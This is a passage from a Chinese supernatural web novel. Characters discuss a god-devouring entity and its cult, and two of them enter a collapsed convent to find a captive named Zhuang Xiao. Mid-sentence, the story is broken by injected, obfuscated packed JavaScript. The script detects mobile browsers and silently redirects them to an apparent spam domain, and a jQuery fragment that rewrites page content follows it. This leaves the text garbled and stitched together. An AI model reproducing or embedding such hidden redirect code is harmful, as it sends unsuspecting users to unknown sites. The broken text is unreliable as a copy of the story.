介绍那么多,活像是罗爱曜在上课。无人应答,罗爱曜忽然敲敲地图,彩纸扑拉作响。“它把人当奴隶,把弱神当食物。”罗爱曜一句话总结。
“然而它们同时又和奴隶生孩子?”蒋良霖费解,觉得这东西的行事作风好抽象。
“人类有时候很神奇,也有潜力。人的想法也很多。人是某种前置阶段。”罗爱曜说,“你们怎么看?是打算换个地方假装无事发生,还是冤冤相报?我已经清算不出事情的开头到底是什么,是你去追那沙漏装置还是我真的进入地铁站深处。但它出现在我计划招揽鼓龙的期间,看来与我有关,那我就必须得争了。”
罗爱曜一直气性大,只是寻常没有什么事件去引出他这面,实际他性格非常追根究底、不依不饶,甚至好斗。就凭莲花法器能被三次投放,就知道罗爱曜这人不行动则已,一行动就必须有个明白结果。他才是冤冤相报何时了。
蒋良霖说:“你提到那位庄晓,我突然想起昨天吃饭的两位警官,这个庄晓应该也有点东西吧,不然怎么会手握这么多失踪人口证件,同室失踪犯人应该也是他干的。嗯……你不会已经把他带过来了吧?关在某个你的随身空间什么的?”
罗爱曜:“……”
“那你帮庄晓找残碑了吗?”施霜景开口。
“我把他锁进圣母院的地脉圣母残骸里了。”罗爱曜说。
施霜景:“……”
“他自愿,而且请我设障,防止那东西探知,是便宜他了。”罗爱曜耸耸肩,“如非必要,我不打算让他与你们见面。这些信徒已不能算是人类,处于半疯半痴边缘,大部分信徒还与他们所信仰的异神共脑。你们昨日碰见的‘外国人’叫纪复森,是那东西的人类形态,据说他的人类身份在黑市地下运营拍卖生意,我猜想郎放之前那些作品已是转手被他收回了。那些梦可能是它故意设下,一步步引你们过来,但不知道它的目标究竟是龙女还是你们全家。庄晓与纪复森不共戴天,从他那儿倒是可以透露许多情报。我没答应他别的,只是残碑而已。”
蒋良霖听下来,只觉得罗爱曜出现得真是时候:“你需要蒋念琅帮忙,我们因隐隐受到威胁而出现于此——所以为了合作,你接下我们的要求……那你可千万不要放过纪复森!”蒋良霖露出“这一切都是那么的刚好”的表情,对味了,这竟然真是因果。
罗爱曜:“要我提醒你么,其实我吃人也吃神。我只是不需要吃它们来维生,纯粹是喜好。”
“我才不管你怎么吃。人吃人都不奇怪,更何况你这样的存在。”蒋良霖说。
郎放再一次出来结束二人的口头争执,“我还是想见见庄晓。”郎放深知罗爱曜没有耐心转述所有信息,罗爱曜与蒋良霖都是喜欢跳步骤的人,不论说话还是做事。要想真正地知晓事件全貌,恐怕还是得靠郎放这种耐性十足的人去作一手接触。
“我已指了圣母院坐标,你们可以去看看,郎放可以找见那条路,我使用的是金刚轮密阵。今天我要带施霜景去别处,我们就分头行事吧。”
罗爱曜一把拎起施霜景,后者完全不知道今天还要出门,以为今天就是留给他和玉米收惊的呢。蒋良霖再要了一杯咖啡,七年多了,他还是那个被事情追着屁股咬的社会人,郎放面色淡定,指不定心里怎么摩拳擦掌呢。还是早点解决这事吧,蒋良霖真的不想再被郎放的画作或是雕像惊出后背冷汗了。
“那你说什么‘我不打算让他与你们见面’?!‘们’字在哪里?”蒋良霖如梦方醒。明明只是不想让庄晓见施霜景。
罗爱曜轻巧地绕过这质问,给到提醒:“对了,见到庄晓的时候,不要演你们一家三口其乐融融的戏码,小心被他记恨。”说完他便带着施霜景离开,他们现在其实聚在蒋良霖的房间里。
蒋良霖苦着脸酗咖啡,郎放看出他不想去,亲和道:“你在这里照看小鼓?我自己去。”
蒋良霖赶紧抬手让郎放停嘴,“请不要这样诛我的心。我肯定要跟你一起去的。我在想,我们过去没找到的许多钟山神,是不是也是让纪复森这样的东西吃了?为什么我们之前没有发现?”
“一起去看看吧。佛子其实也算得上恶神,我已应付过了。小鼓和小景都说纪复森是外国人,我对西方流派不甚了解,庄晓如果了解他,那我们就去问庄晓。”郎放隔着衣服捏捏小龙的脑袋,低声嘱咐她,让她就这么盘好,不要乱跑。两个男人带一个女孩,傻子都知道要朝女孩下手,不能把蒋念琅暴露在不安全的环境里。
“这么说不大好,可幸亏昨天小景和小鼓在一起。只有小鼓的话,我不确定罗爱曜真会上心救人。”蒋良霖起身,“也幸亏小景遭了报复,否则罗爱曜现在估计就退出了,只会觉得无聊和事不关己。我看他现在报复的心思可比我们重得多,毕竟他对自己的能力更自信。”
昨天蒋良霖和郎放从商场的安全通道追进去,郎放专司神鬼巫术,这种带有异质色彩的凶险情形颇让郎放束手无策,就连罗爱曜也得找到切入点才能施以咒法。郎放的阴阳眼与蒋念琅的龙目差不多,都遭遇了视野融化,安全通道是唯一稳固的地方,郎放看进去,无鬼无魂,一片干干净净,这就更是异常。
既然蒋念琅是龙,那她父母中必然有一方同是龙,在这方面她是随了蒋良霖。蒋良霖的故事说来复杂又话长,只用知晓他现在是半条龙即可。反正他是最活在当下的人,还把自己当纯粹的社畜。
蒋良霖的逆鳞嵌在蒋念琅的神魂中,他知道蒋念琅暂时还没事,而且他能感觉到他与自己的逆鳞相距甚远,说明他们看起来是在一个空间中,但其实中间距离根本无法估量。蒋良霖与郎放一致决定先追踪始作俑者,一路顺阶梯往下,本来滑冰场就在B2层,安全通道的楼梯无止尽地往下铺设。蒋良霖感知到蒋念琅没有化龙,这小姑娘其实平时非常冲动,不化龙肯定有她的原因,蒋良霖就也只能沉住气,不使用他的龙态。愈往下走,感觉愈奇怪,有种脱离地球的感觉,仿佛重力条件缓慢发生改变,精神也受影响。走到某一阶,蒋良霖忽然拉住郎放,不能再往下了。
郎放想留标记,蒋良霖不让,他感受到某种非常阴险的氛围,毒蛇吐引信一般,令
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497978|168887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人一阵一阵地后背发寒。或许此刻假装自己只是个普通人更好?正在这时,蒋良霖忽然感觉到他与蒋念琅的距离近了很多很多。蒋良霖只好拉郎放回去,一路上感觉阶梯愈来愈软,像水泥融化,蒋良霖没法,只好谨慎地释放自己的龙息。
他是龙在这个世上的投影,是一条半死的龙,如今所做的一切都只是借着龙这个概念而驱使灵力,就显得更没有章法。不同于蒋念琅那晶莹剔透的龙气,蒋良霖的龙息更像是烛阴焚毁天地所剩的灰尘,而这样的龙息其实与熵减过程有关,帮助稳定混乱环境。这般调整之下,二人很快回到出口处,还没推开门就已听见蒋念琅的哭声。
回忆结束。
今日要去圣母领报修院,蒋良霖去最近的车行租了一辆车,与郎放二人驾车前往。现在仍是元旦假期,但看守已经返工。蒋良霖和郎放到底是更像活人的活人,罗爱曜可以进出圣母院无碍,蒋良霖和郎放却不能。他们为了避开看守,是从领报修院的后山潜入的。蒋良霖这么一个天天坐办公室的精英,和郎放在一起这么多年,终于是习惯了和郎放一起做野人,这真是没办法。
“佛子说他用了金刚轮密阵,幸好我前世是沃燋本体。我们有照应之法。”
总之郎放确实是找到了罗爱曜的密阵,湿漉漉下过雨的领报修院在几息之间轰然崩塌,俨然成了一座废墟,这废墟是百年前的领报修院,在这一时空中才有可能找到地脉圣母的残碑,庄晓也是被关在了这里。
圣母院已是塌了个完全,房梁与柱子东倒西歪,堪堪撑起几面碎墙。令人感到惊异的是,圣母院虽然塌了,其内部却是一点没有见光,是从比较宽阔的规模坍塌成了更为紧凑的结构,院门敞开着,内里漆黑一片,是光所不能至之处。
大概是罗爱曜远程也能控制他的密阵,郎放和蒋良霖毫无阻碍地进入圣母院。这密阵其实完全是笼罩在圣母院原本的结构上,覆盖了每个角落。残砖乱瓦所搭成的小型圣母院只能看见中间一条主道,通往圣母像。圣母像已被砸得面目全非,基石上只剩一圈长裙裙摆与赤足。基石背后有一条下沉的坡道,地上有血一般的痕迹。蒋良霖脑袋中冒出一个无端联想,觉得很像是圣母自断了双足,翻身爬进了这下沉坡道,直进黑暗。
又是下坡。就连郎放都忍不住吐槽道:“这些东西难道是从地心爬出来的吗?所以一有事就要回地下去?”
“就是啊,我们地府出来的都也只是修修地宫而已。”蒋良霖自嘲。这一下就把自己拉回了非人类层面去。
有郎放的先天天赋帮助,他们二人走入密阵阵中的过程相当顺利,散步一般轻松,只是心理紧张。下沉坡道斜斜地插入地下,还不如走楼梯呢,下坡真让人膝盖痛苦。一路上二人都隐约听见回荡的诵经声,几种语言交替,中文、英文、拉丁文,甚至还听见方言,毕竟这是S省教区。
不知行进多久,他们终于见到罗爱曜所说的“地脉圣母”遗骸,也终于明白残碑是从哪儿而来了。蒋良霖和郎放想来见庄晓,庄晓却对他们完全无所谓。庄晓已深深地为“复活”这回事着迷。